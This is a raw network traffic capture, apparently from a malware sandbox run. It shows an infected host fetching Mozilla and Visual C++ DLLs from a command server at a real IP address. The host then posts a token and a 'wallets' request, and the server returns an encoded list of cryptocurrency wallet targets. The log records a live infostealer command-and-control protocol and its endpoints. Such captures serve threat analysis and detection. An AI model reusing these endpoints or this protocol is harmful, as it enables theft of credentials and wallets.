00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Apr 26, 2024 09:41:09.479974985 CEST	94	OUT	GET /8e6d9db21fb63946/mozglue.dll HTTP/1.1 Host: 185.172.128.111 Cache-Control: no-cache
Apr 26, 2024 09:41:09.831830978 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:09 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Apr 26, 2024 09:41:10.318743944 CEST	95	OUT	GET /8e6d9db21fb63946/msvcp140.dll HTTP/1.1 Host: 185.172.128.111 Cache-Control: no-cache
Apr 26, 2024 09:41:10.670185089 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:10 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 26, 2024 09:41:11.105429888 CEST	91	OUT	GET /8e6d9db21fb63946/nss3.dll HTTP/1.1 Host: 185.172.128.111 Cache-Control: no-cache
Apr 26, 2024 09:41:11.476387024 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:11 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Apr 26, 2024 09:41:12.565768003 CEST	95	OUT	GET /8e6d9db21fb63946/softokn3.dll HTTP/1.1 Host: 185.172.128.111 Cache-Control: no-cache
Apr 26, 2024 09:41:12.915755987 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:12 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Apr 26, 2024 09:41:13.184148073 CEST	99	OUT	GET /8e6d9db21fb63946/vcruntime140.dll HTTP/1.1 Host: 185.172.128.111 Cache-Control: no-cache
Apr 26, 2024 09:41:13.530663013 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:13 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 26, 2024 09:41:14.510410070 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ Host: 185.172.128.111 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:15.010647058 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:16.327172995 CEST	469	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID Host: 185.172.128.111 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 31 65 35 62 32 33 35 31 38 33 33 32 36 39 30 64 66 38 36 31 63 62 30 33 38 39 39 33 39 33 64 63 66 65 39 35 39 37 64 30 31 65 62 35 38 34 39 30 39 35 65 39 37 62 38 39 61 61 62 39 34 66 66 63 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"wallets------GHJKJDAKEHJDGDGDGHID--
Apr 26, 2024 09:41:16.683209896 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 